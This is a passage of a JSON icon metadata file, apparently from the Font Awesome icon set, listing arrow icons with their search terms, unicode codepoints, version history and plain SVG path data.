        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M151.6 469.6C145.5 476.2 137 480 128 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L96 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M151.6 469.6C145.5 476.2 137 480 128 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L96 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 128H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H320c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-up-across-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["border", "crossing", "transfer"]
    },
    "styles": ["solid"],
    "unicode": "e4af",
    "label": "Arrow Down Up Across Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M137.4 502.6c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 402.7V288H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H448V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L384 109.3V224H192 128 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96V402.7L86.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96zM128 192h64V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192zM448 320H384V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M137.4 502.6c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 402.7V288H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H448V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L384 109.3V224H192 128 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96V402.7L86.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96zM128 192h64V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192zM448 320H384V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-up-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "border",
        "closed",
        "crossing",
        "lockdown",
        "quarantine",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4b0",
    "label": "Arrow Down Up Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M150.6 502.6l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 402.7V288H416V272c0-17.2 3.9-33.5 10.8-48H352V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-6-6-14.1-9.4-22.6-9.4s-16.6 3.4-22.6 9.4l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L288 109.3V224l-128 0H96l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32H96V402.7L54.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0zM160 192V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192h64zM288 320V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320H288zm240-80c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M150.6 502.6l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 402.7V288H416V272c0-17.2 3.9-33.5 10.8-48H352V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-6-6-14.1-9.4-22.6-9.4s-16.6 3.4-22.6 9.4l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L288 109.3V224l-128 0H96l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32H96V402.7L54.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0zM160 192V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192h64zM288 320V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320H288zm240-80c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-wide-short": {
    "aliases": {
      "names": ["sort-amount-asc", "sort-amount-down"],
      "unicodes": {
        "secondary": ["10f160"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "number", "order", "sort-amount-asc"]
    },
    "styles": ["solid"],
    "unicode": "f160",
    "label": "Arrow Down Wide Short",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M151.6 469.6C145.5 476.2 137 480 128 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L96 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 480c-17.7 0-32-14.3-32-32s14.3-32 32-32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M151.6 469.6C145.5 476.2 137 480 128 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L96 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 480c-17.7 0-32-14.3-32-32s14.3-32 32-32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320zm0-128c-17.7 0-32-14.3-32-32s14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H320z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-z-a": {
    "aliases": {
      "names": ["sort-alpha-desc", "sort-alpha-down-alt"],
      "unicodes": {
        "secondary": ["10f881"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alphabetical", "arrange", "filter", "order", "sort-alpha-asc"]
    },
    "styles": ["solid"],
    "unicode": "f881",
    "label": "Arrow Down Z A",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.6 469.6C177.5 476.2 169 480 160 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L128 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 64c0-17.7 14.3-32 32-32H480c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9L429.3 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H352c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L402.7 96H352c-17.7 0-32-14.3-32-32zm96 192c12.1 0 23.2 6.8 28.6 17.7l64 128 16 32c7.9 15.8 1.5 35-14.3 42.9s-35 1.5-42.9-14.3L460.2 448H371.8l-7.2 14.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l16-32 64-128c5.4-10.8 16.5-17.7 28.6-17.7zM395.8 400h40.4L416 359.6 395.8 400z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.6 469.6C177.5 476.2 169 480 160 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L128 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 64c0-17.7 14.3-32 32-32H480c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9L429.3 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H352c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L402.7 96H352c-17.7 0-32-14.3-32-32zm96 192c12.1 0 23.2 6.8 28.6 17.7l64 128 16 32c7.9 15.8 1.5 35-14.3 42.9s-35 1.5-42.9-14.3L460.2 448H371.8l-7.2 14.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l16-32 64-128c5.4-10.8 16.5-17.7 28.6-17.7zM395.8 400h40.4L416 359.6 395.8 400z"
      }
    },
    "free": ["solid"]
  },
  "arrow-left": {
    "aliases": {
      "unicodes": {
        "composite": ["2190"],
        "secondary": ["10f060"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Leftwards Arrow", "back", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f060",
    "label": "Arrow Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.2 288 416 288c17.7 0 32-14.3 32-32s-14.3-32-32-32l-306.7 0L214.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.2 288 416 288c17.7 0 32-14.3 32-32s-14.3-32-32-32l-306.7 0L214.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-left-long": {
    "aliases": {
      "names": ["long-arrow-left"],
      "unicodes": {
        "secondary": ["10f177"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["back", "long-arrow-left", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f177",
    "label": "Arrow Left Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 288 480 288c17.7 0 32-14.3 32-32s-14.3-32-32-32l-370.7 0 73.4-73.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-128 128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 288 480 288c17.7 0 32-14.3 32-32s-14.3-32-32-32l-370.7 0 73.4-73.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-128 128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-pointer": {
    "aliases": {
      "names": ["mouse-pointer"],
      "unicodes": {
        "secondary": ["10f245"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.0.3",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "cursor", "select"]
    },
    "styles": ["solid"],
    "unicode": "f245",
    "label": "Arrow Pointer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 55.2V426c0 12.2 9.9 22 22 22c6.3 0 12.4-2.7 16.6-7.5L121.2 346l58.1 116.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9L179.8 320H297.9c12.2 0 22.1-9.9 22.1-22.1c0-6.3-2.7-12.3-7.4-16.5L38.6 37.9C34.3 34.1 28.9 32 23.2 32C10.4 32 0 42.4 0 55.2z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 55.2V426c0 12.2 9.9 22 22 22c6.3 0 12.4-2.7 16.6-7.5L121.2 346l58.1 116.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9L179.8 320H297.9c12.2 0 22.1-9.9 22.1-22.1c0-6.3-2.7-12.3-7.4-16.5L38.6 37.9C34.3 34.1 28.9 32 23.2 32C10.4 32 0 42.4 0 55.2z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right": {
    "aliases": {
      "unicodes": {
        "composite": ["2192"],
        "secondary": ["10f061"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Rightwards Arrow", "forward", "next"]
    },
    "styles": ["solid"],
    "unicode": "f061",
    "label": "Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M438.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L338.8 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l306.7 0L233.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l160-160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M438.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L338.8 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l306.7 0L233.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l160-160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-arrow-left": {
    "aliases": {
      "names": ["exchange"],
      "unicodes": {
        "composite": ["21c4"],
        "secondary": ["10f0ec"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Rightwards Arrow Over Leftwards Arrow",
        "arrow",
        "arrows",
        "reciprocate",
        "return",
        "swap",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ec",
    "label": "Arrow Right Arrow Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M438.6 150.6c12.5-12.5 12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L338.7 96 32 96C14.3 96 0 110.3 0 128s14.3 32 32 32l306.7 0-41.4 41.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l96-96zm-333.3 352c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 416 416 416c17.7 0 32-14.3 32-32s-14.3-32-32-32l-306.7 0 41.4-41.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3l96 96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M438.6 150.6c12.5-12.5 12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L338.7 96 32 96C14.3 96 0 110.3 0 128s14.3 32 32 32l306.7 0-41.4 41.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l96-96zm-333.3 352c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 416 416 416c17.7 0 32-14.3 32-32s-14.3-32-32-32l-306.7 0 41.4-41.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3l96 96z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-from-bracket": {
    "aliases": {
      "names": ["sign-out"],
      "unicodes": {
        "secondary": ["10f08b"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "exit", "leave", "log out", "logout"]
    },
    "styles": ["solid"],
    "unicode": "f08b",
    "label": "Arrow Right From Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224 192 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l210.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128zM160 96c17.7 0 32-14.3 32-32s-14.3-32-32-32L96 32C43 32 0 75 0 128L0 384c0 53 43 96 96 96l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0c-17.7 0-32-14.3-32-32l0-256c0-17.7 14.3-32 32-32l64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224 192 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l210.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128zM160 96c17.7 0 32-14.3 32-32s-14.3-32-32-32L96 32C43 32 0 75 0 128L0 384c0 53 43 96 96 96l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0c-17.7 0-32-14.3-32-32l0-256c0-17.7 14.3-32 32-32l64 0z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-long": {
    "aliases": {
      "names": ["long-arrow-right"],
      "unicodes": {
        "secondary": ["10f178"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forward", "long-arrow-right", "next"]
    },
    "styles": ["solid"],
    "unicode": "f178",
    "label": "Arrow Right Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l370.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l370.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-to-bracket": {
    "aliases": {
      "names": ["sign-in"],
      "unicodes": {
        "secondary": ["10f090"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "enter",
        "join",
        "log in",
        "login",
        "sign in",
        "sign up",
        "sign-in",
        "signin",
        "signup"
      ]
    },
    "styles": ["solid"],
    "unicode": "f090",
    "label": "Arrow Right To Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 96l64 0c17.7 0 32 14.3 32 32l0 256c0 17.7-14.3 32-32 32l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c53 0 96-43 96-96l0-256c0-53-43-96-96-96l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32zm-9.4 182.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L242.7 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l210.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 96l64 0c17.7 0 32 14.3 32 32l0 256c0 17.7-14.3 32-32 32l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c53 0 96-43 96-96l0-256c0-53-43-96-96-96l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32zm-9.4 182.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L242.7 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l210.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-to-city": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "exodus", "rural", "urban"]
    },
    "styles": ["solid"],
    "unicode": "e4b3",
    "label": "Arrow Right To City",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 48c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48V192h40V120c0-13.3 10.7-24 24-24s24 10.7 24 24v72h24c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H432 336c-26.5 0-48-21.5-48-48V48zm64 32v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm16 80c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H368zM352 272v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm176-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H528zM512 368v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H528c-8.8 0-16 7.2-16 16zM166.6 153.4l80 80c12.5 12.5 12.5 32.8 0 45.3l-80 80c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L146.7 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H146.7l-25.4-25.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 48c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48V192h40V120c0-13.3 10.7-24 24-24s24 10.7 24 24v72h24c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H432 336c-26.5 0-48-21.5-48-48V48zm64 32v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm16 80c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H368zM352 272v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm176-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H528zM512 368v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H528c-8.8 0-16 7.2-16 16zM166.6 153.4l80 80c12.5 12.5 12.5 32.8 0 45.3l-80 80c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L146.7 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H146.7l-25.4-25.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "arrow-rotate-left": {
    "aliases": {
      "names": [
        "arrow-left-rotate",
        "arrow-rotate-back",
        "arrow-rotate-backward",
        "undo"
      ],
      "unicodes": {
        "composite": ["21ba"],
        "secondary": ["10f0e2"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Anticlockwise Open Circle Arrow",
        "back",
        "control z",
        "exchange",
        "oops",
        "return",
        "rotate",
        "swap"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0e2",
    "label": "Arrow Rotate Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
